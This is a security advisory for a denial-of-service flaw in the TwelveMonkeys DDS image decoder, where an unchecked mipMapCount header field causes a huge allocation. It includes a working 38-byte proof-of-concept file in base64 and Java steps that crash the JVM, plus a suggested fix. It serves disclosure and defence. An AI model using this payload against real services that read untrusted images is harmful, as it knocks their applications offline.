# GHSA-FWP7-38WP-MMXW: Unbounded allocation in DDS decoder from attacker-controlled mipMapCount

- Database: GitHub
- Severity: medium (stated by ghsa, no CVSS score)
- Published: 2026-09-09
- Modified: 2026-09-09

## Affected versions

- com.twelvemonkeys.imageio:imageio-dds (Maven): fixed in 3.14.0

## Description

`DDSHeader.addDimensions` (DDSHeader.java:137) allocates a `Dimension[]` array sized directly from the `dwMipMapCount` field in the DDS file header, with no upper bound or sanity check:

```java
dimensions = new Dimension[mipMapCount];
```

A crafted 38-byte DDS file can set `dwMipMapCount` to a large value, causing the reader to attempt a multi-gigabyte allocation. This results in `OutOfMemoryError: Java heap space` which terminates the JVM in typical deployments.

Any Java application that calls `ImageIO.read()` on untrusted input is affected, since TwelveMonkeys registers its DDS reader as an ImageIO SPI plugin.

**Steps to reproduce:**

1. Save the following base64 as `poc.dds` (38 bytes):
```
RERTIHwAAAAHEAA2ODk3NDY3MjE5NjMwMjQ5MDA3AAIAAAACAAA=
```
2. Decode: `echo 'RERTIHwAAAAHEAA2ODk3NDY3MjE5NjMwMjQ5MDA3AAIAAAACAAA=' | base64 -d > poc.dds`
3. Run with TwelveMonkeys on the classpath:
```java
import javax.imageio.ImageIO;
import java.io.*;
ImageIO.read(new File("poc.dds"));
// -> java.lang.OutOfMemoryError: Java heap space
//    at DDSHeader.addDimensions (DDSHeader.java:137)
```

SHA-256: `ae2028d887f7f6db22d18e5fecb1b835f366f5dcec40491a729e0f70a9cc4efb`

Tested against version 3.14.0, commit `64f27db0502b7260cd49ac34816fbfeda4e4976b`.

**Suggested fix:** Validate `mipMapCount` against a reasonable cap (DDS spec allows at most ~16 mip levels for typical texture sizes) or against the remaining stream length before allocating.

Found by coverage-guided fuzzing.

## References

- https://github.com/haraldk/TwelveMonkeys/security/advisories/GHSA-fwp7-38wp-mmxw

Page: https://cve.now/GHSA-FWP7-38WP-MMXW

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
